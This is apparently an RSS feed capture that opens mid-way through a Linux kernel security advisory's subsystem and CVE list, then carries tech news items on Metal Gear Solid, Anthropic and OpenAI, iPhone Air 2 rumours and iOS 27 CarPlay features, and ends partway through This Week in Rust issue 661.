  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)


KONAMI detail more platform specifications for METAL GEAR SOLID: MASTER COLLECTION Vol.2
Thu, 23 Jul 2026 10:00:37 +0200
METAL GEAR SOLID: MASTER COLLECTION Vol.2 from KONAMI arrives on August 27th, and they've now given a bit more detail on what you'll need for it.
Read the full article on GamingOnLinux.


Anthropic spendet 20 Millionen Dollar für KI-Regulierung
Thu, 23 Jul 2026 09:24:49 +0200

    Anthropic spendet weitere 20 Millionen US-Dollar an die Organisation Public First Action. Die Gruppe setzt sich für die Regulierung von KI in den USA ein.

Tags: #Anthropic | #Künstliche Intelligenz


iPhone Air 2 Release Date, Features, Camera, Battery and Everything We Know
Thu, 23 Jul 2026 09:13:24 +0200
Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improved sustained performance.



The upcoming iPhone Air 2 is expected to bring meaningful hardware upgrades while keeping the slim design that defines the Air lineup. Apple also appears to be changing its iPhone launch strategy, which means the next Air model may not arrive alongside the Pro models as many expected.



iPhone Air 2 at a glance



FeatureExpected DetailsRelease windowSpring 2027ProcessorA20 Pro built on 2nm processRear camerasDual cameras with Wide + Ultra WideBatteryAround 3,500mAhCoolingVapor chamber coolingDesignSimilar ultra-thin chassis



Will Apple release an iPhone Air 2?



There were reports earlier that Apple had paused development because the first iPhone Air did not sell as well as expected. 



Later reports clarified that Apple had not canceled the device. Instead, the company shifted its roadmap and continues to develop a second-generation model, which is currently believed to be in advanced testing under the internal codename V62.



A second rear camera is finally coming







The biggest limitation of the current iPhone Air is its single rear camera. Apple reportedly plans to solve that by adding a second lens.



Instead of using a telephoto camera, the company is expected to include an Ultra Wide sensor. This setup would match Apple's standard iPhone models and make the Air much more versatile for photography.



Expected camera improvements




48MP primary Wide camera



Ultra Wide secondary camera



Better landscape photography



Improved macro capabilities



More flexibility for video recording




A telephoto lens is still expected to remain exclusive to Pro models.



A20 Pro chip with 2nm technology







Another major upgrade is the processor.



The iPhone Air 2 is expected to use Apple's new A20 Pro chip, making it one of the first iPhones built on a 2-nanometer manufacturing process.



Apple is also expected to adopt Wafer-Level Multi-Chip Module technology, which integrates memory and the processor more efficiently. This design should improve both performance and power efficiency.



Expected benefits




Faster CPU performance



Better graphics performance



Lower power consumption



Improved AI processing



Longer battery life through better efficiency




Bigger battery without sacrificing thinness







Battery life was another common complaint about the first iPhone Air. Apple reportedly plans to address that with both hardware and silicon improvements.



Supply chain information suggests the iPhone Air 2 will include a battery around 3,500mAh, compared to the current 3,149mAh battery.



That represents roughly an 11 percent increase in capacity before accounting for the efficiency gains from the A20 Pro chip. While Apple has not confirmed real-world battery figures, users should expect noticeably longer endurance than the current generation.



Vapor chamber cooling arrives







Apple first introduced vapor chamber cooling on its Pro iPhones, and the technology is now expected to reach the Air lineup.



This cooling system spreads heat more effectively across the phone, allowing the processor to maintain higher performance during demanding workloads.



That means users can expect:




Better gaming performance



Less thermal throttling



Cooler temperatures during extended use



More stable performance while editing videos or using AI features




Expected release date



Apple originally planned to launch the iPhone Air 2 alongside the iPhone 18 Pro lineup in September 2026.



More recent reports point to a different strategy.



Apple is now expected to launch:



ProductExpected launchiPhone 18 ProFall 2026iPhone 18 Pro MaxFall 2026Foldable iPhoneFall 2026iPhone 18Spring 2027iPhone Air 2Spring 2027



This split launch schedule would allow Apple to focus premium devices in the fall while introducing mainstream models several months later.



Wrap Up



Based on current reports, the iPhone Air 2 looks like a much more complete device than its predecessor. A second rear camera, a larger battery, a faster A20 Pro chip, and vapor chamber cooling directly address the biggest compromises of the first-generation model while preserving its ultra-thin design.



As with all early Apple leaks, these details remain unofficial until the company makes an announcement. If the current roadmap stays on track, the iPhone Air 2 should arrive in spring 2027 with a stronger feature set and a better balance between portability and everyday performance.


iOS 27 CarPlay: Every New Feature Coming This Fall
Thu, 23 Jul 2026 08:57:19 +0200
Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall interface.



The biggest highlight is Siri AI, which finally gives CarPlay a more capable voice assistant. Alongside that, Apple has expanded video support, refreshed the design, and added quality-of-life improvements for media controls. Most of these features will arrive when iOS 27 launches publicly this fall, although some will depend on whether automakers enable support in their vehicles.



FeatureWhat's NewAvailabilitySiri AISmarter conversations, context memory, synced historyAll supported CarPlay usersVideo AppsNative video browsing and playback appsSupported vehicles onlyNew WallpapersFresh wallpapers matching iOS 27 designAll usersLiquid Glass IconsUpdated app icons across CarPlayAll usersMiniPlayerAlbum artwork and playback controlsSupported media appsAudio ScrubbingDrag through songs and podcastsSupported media apps



Siri AI Makes CarPlay Much Smarter







The biggest improvement in iOS 27 is the arrival of Siri AI inside CarPlay. Apple has redesigned Siri with a cleaner interface that appears as a glowing orb at the bottom of the screen. The design is simpler than previous Apple Intelligence versions while remaining easy to recognize during driving.



More importantly, Siri now understands natural conversations much better. Instead of responding to one question at a time, it remembers the context of your conversation, allowing follow-up questions without repeating the original request. This makes navigation, messaging, and general information requests feel much more natural.



Siri AI also answers broader knowledge questions in a way that feels similar to modern AI assistants. Whether you ask about travel plans, nearby places, or general information, the responses are more detailed and conversational than before.



Siri Conversation History Sync



Apple has also introduced conversation syncing between CarPlay and the new Siri app on iPhone.



After using Siri in your car, you can open the Siri app on your iPhone and review previous conversations. Requests made through CarPlay are clearly marked with a small car icon, making it easy to continue a conversation after leaving your vehicle.



Native Video Apps Come to CarPlay







Apple first introduced video playback in cars through AirPlay, but iOS 27 expands the experience much further.



Developers can now build dedicated CarPlay video apps that allow users to browse their content directly from the vehicle's display instead of relying entirely on the iPhone interface.



This means supported streaming services can provide a complete CarPlay experience while the vehicle is parked.



Important limitations




Videos only play while the vehicle is stationary.



Playback stops when driving begins and switches to audio if supported.



Vehicle manufacturers must enable this feature.



Older vehicles may never receive support. citeturn0search1turn0search4




Refreshed CarPlay Design



Apple has updated the visual appearance of CarPlay to match the rest of iOS 27.



Users receive a new collection of wallpapers inspired by the latest system design. The updated backgrounds closely match the look found across iOS 27 and macOS Golden Gate.



CarPlay app icons also adopt Apple's latest Liquid Glass styling, creating a more modern appearance while keeping familiar layouts intact.



Better Media Playback Controls



Media playback receives several practical improvements that users have requested for years.



New MiniPlayer



Media applications now display a MiniPlayer in the upper-right corner of the interface.



Instead of showing a simple waveform icon, the MiniPlayer includes:




Album artwork



Play and pause controls



Quick access to currently playing content




This allows users to keep playback controls visible while browsing music or podcasts.



Audio Scrubbing Finally Arrives



One of the most welcome additions is audio scrubbing.



Users can now drag the playback progress bar directly from the Now Playing screen to move forward or backward through songs, podcasts, and supported audio content. Apple has also enlarged the progress indicator, making it easier to use on a vehicle's touchscreen.



This small feature significantly improves everyday usability, especially for podcasts and long playlists.



Compatibility



The new CarPlay features require:



RequirementStatusiPhone running iOS 27RequiredCompatible CarPlay vehicleRequiredNative video appsRequires automaker supportSiri AIAvailable on supported iPhones with iOS 27



Wrap Up



CarPlay in iOS 27 focuses on practical improvements instead of introducing an entirely new interface. Siri AI is the standout addition thanks to its stronger conversational abilities and conversation history syncing, while native video apps open new possibilities for entertainment when parked.



Meanwhile, smaller upgrades such as the MiniPlayer, audio scrubbing, refreshed wallpapers, and updated icons make the overall experience feel more polished. Although some features depend on automaker support, iOS 27 delivers one of the most useful CarPlay updates Apple has released in recent years.


Stellenanzeige von OpenAI deutet auf Werbenetzwerk hin
Thu, 23 Jul 2026 08:10:46 +0200

    Eine entfernte Stellenanzeige von OpenAI deutet auf den Aufbau eines Werbenetzwerks hin. Der Konzern strich Hinweise auf Publisher-Funktionen.

Tags: #Künstliche Intelligenz | #OpenAI | #Werbung


This Week In Rust: This Week in Rust 661
Thu, 23 Jul 2026 07:18:12 +0200
Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRust on mastodon.social, or
send us a pull request.
Want to get involved? We love contributions.
This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org.
If you find any errors in this week's issue, please submit a PR.
Want TWIR in your inbox? Subscribe here.
Updates from Rust Community


Official

Announcing Rust 1.97.1

Newsletters

The Embedded Rustacean Issue #76

Project/Tooling Updates

Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
Syn 3.0.0
What’s New in RustRover 2026.2
kobe 0.35.0: readiness gates and cert recycling
Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
Nova v0.2.1: computer-use MCP server
winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
Freya 0.4
buildline: merging cargo and ninja's build profiling into one timeline
cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
kache 0.11.0: broader compiler coverage and libc-aware keys
tracing-reload - reload layer without panics
Introducing OpenTypeless: Voice Input That Actually Works
Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

Battery packs: Let's talk about crates, baby
Capture Clauses as Effects
Hardening Rust Code For Production
Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
Rust service hardening and production checklist
[audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
[video] Jon Gjengset: Open Source Maintenance 2026-07-18
[video] Rust Release Changelog - 1.97.0
[video] Livestream: Rust in Ubuntu

Rust Walkthroughs

I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
Two tricky bugs in a Rust daemon
[video] Backend Concepts in Rust: Securely Managing App Secrets
[video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week
This week's crate is xan, a TUI toolkit to work with CSV files.
Thanks to Simeon H.K. Fitch for the suggestion!
Please submit your suggestions and votes for next week!
Calls for Testing
An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.
If you are a feature implementer and would like your RFC to appear in this list, add a
call-for-testing label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.
No calls for testing were issued this week by
Rust,
Cargo,
Rustup or
Rust language RFCs.
Let us know if you would like your feature to be tracked as a part of this list.
Call for Participation; projects and speakers
CFP - Projects
Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!
Some of these tasks may also have mentors available, visit the task page for more information.




No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!
CFP - Events
Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.



No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!
Updates from the Rust Project
576 pull requests were merged in the last week
Compiler

account for async closures when pointing at lifetime in return type
comptime inherent impls
dep_graph: deduplicate task reads with an epoch-filtered index recorder
eagerly check for ambiguity in macro parsing
implement #[diagnostic::opaque] attribute to hide backtraces of macros
shrink ast::Expr64

Library

add explicit Iterator::count impl for str::EncodeUtf16
implement bool::toggle
implement const_binary_search
implement Debug helpers via Cell
implement VecDeque::truncate_to_range
make pin!() more foolproof
move std::io::BufRead to alloc::io
move std::io::Read to alloc::io
move std::io::read_to_string to alloc::io

Cargo

use PGO for Cargo
timings: only report units the job queue actually ran
do not include proc-macro deps in rustc search path args
include SBOM outputs in fingerprints
lazily initialize git2 fetch transports

Rustdoc

fix auto trait normalization env
use PGO for rustdoc

Clippy

add block_scrutinee lint
avoid invalid ref_as_ptr suggestions in const/static initializers
detect == 0 on unsigned types as a manual_clamp lower bound
fix if_not_else linting on macro expanded conditions
fix needless_collect suggests a suggestion that cannot be typed
non_zero_suggestions: don't lint signed integer div/rem as NonZero
manual_filter: don't eat comments in the and_then suggestion
require the use of as _ for indirectly used traits in clippy sources
rewrite min_ident_chars
use #[must_use] determination from the compiler

Rust-Analyzer

avoid index panic when flycheck list is empty
add capture hints to coroutines
add handler for E0572
do not assume array destructuring assignments with rest pattern are constant-sized
eagerly normalize .await's IntoFuture::Output
enable auto trait inference
extract variable preserving whitespace from macro input
fix coroutines not recording binding owners correctly
fix crashes in assists due to .unwrap() calls in SyntaxFactory
fix hir crate leaking bound variables from skipped binders
fix InferenceContext:identity_args using the wrong DefId
fix syntax bridge panic when spilting float
handle enum variants in next-solver generics
implement lowering of HRTB
invalid pattern_matching_variant lowering due to recovery
merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
only write anon const ty in parent's inference result if it doesn't have its own inference
panic with a function item and a proc macro item having a duplicate name
parser to error on macro type bound
spawn proc-macro servers on requests clearing the client cache
use quote! inside ast::make::expr_call()
use Result for the lsp-server Response payload type
record expressions in types in ExprScope

Rust Compiler Performance Triage
The two most notable changes this week were #159115,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and #159091, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.
There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.
Triage done by @Kobzol.
Revision range: 5503df87..d527bc9b
Summary:



(instructions:u)
mean
range
count




Regressions ❌ 
